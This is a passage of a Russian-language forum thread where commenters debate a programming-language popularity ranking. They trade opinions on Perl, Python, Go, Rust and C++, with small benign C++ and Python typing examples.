Вполне вероятно. Просто когда его начали внедрять в западных учебных заведениях туда поплыло большинство, а перл и не пытались так лютоинавязывать, но он все равно поднимается. Лично для меня перл это то что было до змеиной эпохи в линуксе. Крайне сомневаюсь во вменяемости питонопоклонников - им лишь бы язык был проще, то есть высокоуровневым, так как в их голове полный беспорядок.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #125

131. Сообщение от anonymos (?), 15-Сен-25, 06:01	+1 +/–
Это давно известная проблема, называется - "user's crooked hands" )
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #15 Ответы: #143, #150

133. Сообщение от winorun (?), 15-Сен-25, 06:28	–1 +/–
На C++ спецификация и документация платная. Документация на библиотеки раскиданны очень широко. Поэтому искать приходится в поисковике
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #58 Ответы: #145

134. Сообщение от ВикиПуки (?), 15-Сен-25, 06:50	+/–
Слабая типизация является типичным решением для языков с динамической типизацией, но в некоторых случаях для динамических языков используется сильная система типов (например, в Python)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #123 Ответы: #142

135. Сообщение от anonymos (?), 15-Сен-25, 06:51	+/–
functor - это просто возможность вызвать объект как функцию ) Вот пример реализации на C++: class Print { public:     void operator()(const std::string& message) const {         std::cout << message << std::endl;     } }; int main() {     Print print;     print("Hello");  // Вызов как функции     print("World"); }
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #89 Ответы: #139

137. Сообщение от Сталин (?), 15-Сен-25, 07:37	+/–
Не Пёрл (pearl), а Перл (perl)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #125

138. Сообщение от User097 (ok), 15-Сен-25, 07:38	+/–
Это не просто «рейтинг запросов», это скорее «рейтинг багов и сложности» языка. Хорошо спроектированные и усвояемые языки требуют меньшего количества обращений к поисковикам. Кроме того, публика всё меньше обращается к ним с приходом LLM. Создаётся ощущение, что хорошие языки следует искать где-то во второй полусотне.
Ответить | Правка | Наверх | Cообщить модератору

139. Сообщение от freehck (ok), 15-Сен-25, 08:09	+/–
> functor - это просто возможность вызвать объект как функцию ) Да, но идея куда глубже, чем то, чем в твоём примере. Потому что в SML/OСaml модули -- являются объектами первого класса. И потому там -- ты определяешь фанктор над модулем: он принимает другой модуль в качестве основы, и на его базе строит новый модуль. А модуль в свою очередь определяет не только поля и методы, но ещё и типы, и сабмодули, итд итп. Потому что модуль -- это самый верхнеуровневый объект, ближайший аналог которого в C++ -- неймспейс. Вот, ознакомься: https://dev.realworldocaml.org/functors.html
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #135

142. Сообщение от Аноним (142), 15-Сен-25, 08:41	+/–
у питона все сильное даже если слабое
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #134

143. Сообщение от Аноним (15), 15-Сен-25, 08:45	+/–
> Это давно известная проблема, называется - "user's crooked hands" ) Да я вообще не понимаю, как они этого добились с locale-gen, и почему некоторое время после генерации работает. Не 1 запуск, от нескольких минут до часа. Уже на железо грешил, но со старой 2 веткой как часы работает, а могли ведь на нормальном языке написать. И похожая история буквально со всем софтом на перле, что-то подсказывает, дело тут не в программистах.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #131

145. Сообщение от Bottle (?), 15-Сен-25, 09:43	+/–
Да-да,а бесчисленных учебников, в том числе переводов Страуструпа, не хватает.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #133

146. Сообщение от Аноним (-), 15-Сен-25, 10:19	+/–
>> тормозные, глючные, разваливаются постоянно > Если кто-то не умеет программировать, то это вряд ли проблема языка. Вообще-то это именно проблемы ЯП и его дизайна. И тимы девелопающей его и BDFLа. 1) Low entry barrier вызывает характерный эффект - "создайте систему которой модет пользоваться даже дypaк - и только он и захочет этим пользоваться". 2) На уровне именно дизайня - язык враждебен к скорости и оптимизациям. Без фиксированых типов и с всякими eval() - невозможны многие оптимизации. Всегда надо проверять не помнялся ли тут тип и проч, оставить возможность мутирования кода и проч. Нельзя просто перегнать это в блок нативного кода выполняемого процом - и забыть про это все насовсем. И все становится хреново и сложно, максимум жуткие франкенштейны с JIT, но тут оказывается что кодогенерация и оптимизации в рантайме тоже ресурсы - жрут. А хорошая оптимзация кода - ресурсоемка. Одно дело если билдферма 1 раз отпашет. Другое - если ее будет косплеть у меня вон тот сервис. 3) На уровне багов, глюков и больших проектов опять же - в языке нет аннотаций намерений кодера. Его просто писать, но если что-то пошло не так - ОПА - теперь попробуйте разобраться почему это тут вообще ломается. Потому что оно могло сломаться - полчаса назад в совем другом месте. Узнать что, как, где и почему - удачи. Поэтому как только проект становится крупнее энного... ну... 4) По тем же причинам с статическим анализом душняк, а почти все ощибки - в рантайме. И далеко не все - сразу. Круто, конечно, когда в питоносервисе что-то падает через месяц обслуги юзерей. Теперь попробуйте это воспроизвести и починить. 5) Hype driven dev, с постоянной депрекацией и сломом. Если питоноскрипт не переписывать, через 2 года он просто не запустится. Чем больше кода питонист нагенерит, тем больше майнтенанса на нем подвисает. В какой-то момент он замечает что в сутках только 24 часа, а вся эта куча макетов становится заброшкой. Потому что разгребать рутину за вон теми, в таком объеме - ни разу не эпично. > Интересно, как в таких условиях Dropbox или да хоть тот же Гугл только выживают? Легко. 1) Dropbox сперва переписал бэк с python на go. 2) А потом и на Rust заодно. 3) Гугл придумал Go - для замены питона у себя в инсталляции. В чем и преуспел. При том не только у себя в инсталляции. Просто для понимания - все знакомые занимавшиеся бэками веба на пыхе и питоне почему-то ушли на go. На нем микросервисы очень милые и лаконичные, перфоманс не позорный, и нет кучи питонопроблем. И траблов с монструозным сторонним рантаймом как у пыха тоже. Что epic win под любым углом. Так что гугл - убийца питона в вебе, если что. Довольно успешный.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42

147. Сообщение от Аноним (147), 15-Сен-25, 10:30	+/–
Ю: На каком языке лучше обработать текст? ИИ: Perl Ю: Напиши программу .... ИИ: Вот программа на Perl ....
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17

148. Сообщение от Аноним (-), 15-Сен-25, 10:37	+/–
>> язык реализации отдельных сервисов > Пруфов конечно же не будет. Из собственных продуктов гугла с исходным открытым > кодом - хром, андроид, фуксия, webrtc - питон есть примерно нигде > ни для чего. Гугл Go сделал - для замены у себя питона в сервисах! Потому что его перфоманс ужасен, и майнтенансу вдолгую софт на питоне не подлежит, это ночной кошмар любого менеджера. И они специально его делали относительно простым, но с фиксом косяков питона, чтобы нанятых по объявлениям питонистов не очень сложно переучить было. > раз в 10 дороже чем у обычных VPS/VDS провайдеров. Скриптодети платят, > денежка капает. Ну так отлично - можно их конкурировать демпингом, делая то же самое но лучше и дешевле :). А представляете себе какой ужас был бы если б все конкуренты были отборные, быстрые, крутые, успешные?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #103

149. Сообщение от Аноним (-), 15-Сен-25, 10:41	+/–
> ``` > x: Int = 1 > x = "whooy" > print(x) > ``` > не ругается, хотя при строгой типизации должен. Да ничего страшного, он у тебя потом отругается - трехэтажным трейсом - когда вон то ожидавшее "int" получит на вход "whooy", может быть даже и что-то сделает - но наверное не то что задумывал программер, после чего дальшейшее будет один сплощной undefined. Который однако икнется скорее всего ой как не сразу - поэтому счастливой отладки, дорогие питонисты.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #123

150. Сообщение от Аноним (-), 15-Сен-25, 10:46	+/–
> Это давно известная проблема, называется - "user's crooked hands" ) Есть более короткое описание этой проблемы, сокращенно это PEBCAC называется.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #131

151. Сообщение от ааноним (?), 15-Сен-25, 10:47	+1 +/–
Помню, на форуме ЛОРа этот однострочник лет 20 назад кто-то выложил, написав "помогите, не работает". Запускали добрые люди по незнанию. Кто-то даже на своём сервере запускал. Вот шуму то было...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #119

153. Сообщение от Аноним (153), 15-Сен-25, 10:52	+/–
> Раст, видите ли, менее популярен, чем вижуал бейсик и дельфи. Абсолютно с Вами согласен! Раст и Дельфи тут лишние.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

154. Сообщение от Аноним (154), 15-Сен-25, 11:04	+/–
Эти "постоянные писатели на дельфи" сейчас с нами в одной комнате?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49

155. Сообщение от Аноним (155), 15-Сен-25, 11:04	+/–
Как вы смеете замалчивать Великую Python! Доля рынка - вещи упрямая.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2

156. Сообщение от Аноним (155), 15-Сен-25, 11:07	+/–
Да, вы можите брезжать слюной у рта. но доля рынка вещь упрямая! Python - самый лучший ЯП!
Ответить | Правка | Наверх | Cообщить модератору

157. Сообщение от Аноним (15), 15-Сен-25, 11:19	+/–
Так в расте ровно ничего безопасного нет, ты уверен? Из субсета ада сделали спарк и он формально верифицируется штатными стандартными средствами. А популярность растёт после того, как нвидиа запихнула его во все видеокарты 8 лет назад -- это ли не лучшее доказательство. Такой оттранслированный код намного дешевле обычного формально верифицированного си (да и быстрее). Да, во всех областях где требуется повышенная надёжность (вроде аэрокосмической отрасли) всегда используется либо ада, либо си. Правда, с ада ракеты взрывались, как и с фортраном, про си что-то ничего не слышно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #63

158. Сообщение от Аноним (158), 15-Сен-25, 11:31	+2 +/–
Можно предположить что питон вышел на площадку популярности, стал монстроизироваться, его пихают всюду, потому стал избыточным для простых скриптовых целей. А перл остаётся всё тем же в своей нише.
Ответить | Правка | Наверх | Cообщить модератору

159. Сообщение от Аноним (159), 15-Сен-25, 11:40	+/–
Вот так вот! Без лютого пиара, пропихивания, раскрутки и проплачивания Perl в очередной раз взлетел! Учитесь, студенты!)
Ответить | Правка | Наверх | Cообщить модератору

161. Сообщение от Аноним (-), 15-Сен-25, 12:27	+/–
> Месяц назад начал его учить - столько нелогичностей в жизни разом не > видел. Нет, понятно, что ляпы есть везде, но только Бидон умудряется > называть свою свалку "простым, понятным и *пригодным для обучения новичков* (!) языком. Достаточно сказать что в питоне их BDFL добровольно (!!!) сбежал с кресла BDFL-а. Он развел такую помойку и такое сообщество - что получилось как в Darwin Awards про мужика и бобы. Просто утят учат - этому, они и уверены что весь мир должен крякать как утка.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #122

162. Сообщение от Аноним (162), 15-Сен-25, 12:34	+/–
В этом и нюанс, не учитывают запросы к нейронкам, а я думаю что там картина будет совершенно другая
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #76

163. Сообщение от Аноним (163), 15-Сен-25, 12:37	+/–
Это "средняя температура по больнице". Люди, вы же знаете, что в программировании разные области применения. Какой смысл сравнивать JavaScript и C++? У них разные задачи. Это сравнение не языков, а объемов областей программирования. Языки надо сравнивать в своих областях.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #164

164. Сообщение от Аноним (163), 15-Сен-25, 12:49	+/–
Хотя, поторопился. Каждый может сравнивать выбирая языки своей области.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #163

165. Сообщение от jOKer (ok), 15-Сен-25, 13:20	+/–
>Правда? Правда >не ругается, хотя при строгой типизации должен. Не должен. Не должен хотя бы уж потому, что print() печатает и строки и числа))) А вообще, вы путаете статическую типизацию и строгую динамическую. В питоне строгая динамическая типизация, и это значит, что любая переменная после инициализации является экземпляром объекта того типа, которым ее инициализировали. Это относится и ко встроенным типам. Любая операция с переменной (даже операция сравнения) - есть метод этого объекта, который вполне способен контролировать тип переданных ему параметров, и выбрасывать исключение TypeError --------------- >>> a = 1 >>> b = 'abc' >>> a > b Traceback (most recent call last):   File "<python-input-39>", line 1, in <module>     a > b TypeError: '>' not supported between instances of 'int' and 'str' -------------- Что касается операции присваивания, то она порождает уже совсем другой объект, пусть и с тем же самым именем. ------------- >>> a = 1 >>> id(a) 4456547344 >>> a = 2 >>> id(a) 4456547376 >>> a = 'abc' >>> id(a) 4448487728 ------------- Кроме того следует помнить, что конструкция "a: int" не обязывает интерпретатор считать что внутри находится объект заявленного типа, поскольку такая конструкция - это просто подсказка (type hint) для разработчика, и поэтому финты вроде этого "a: int = 'aaaa'" к исключению не приводят.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #123

166. Сообщение от Анон1110м (?), 15-Сен-25, 14:52	+/–
Perl или COBOL? Хочу зашибать деньги попивая капучино.
Ответить | Правка | Наверх | Cообщить модератору

167. Сообщение от Питоняш (-), 15-Сен-25, 14:57	+/–
А что там, перл6 поднялся или всё ещё нет? Я бы свалил на перл с питона, но только на перл6. Там REPL есть и можно будет не мучиться с написанием тестов, а то апологеты TDD уже достали в край. И люди вменяемые, знают суть UNIX, а не свитчеры с винды с виндой же в мозгах.
Ответить | Правка | Наверх | Cообщить модератору

168. Сообщение от Аноним324 (ok), 15-Сен-25, 15:34	+/–
> ООП там кастрированный И что? Веб это реакт, а реакт функциональный, ООП тебе не нужно в вебе.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема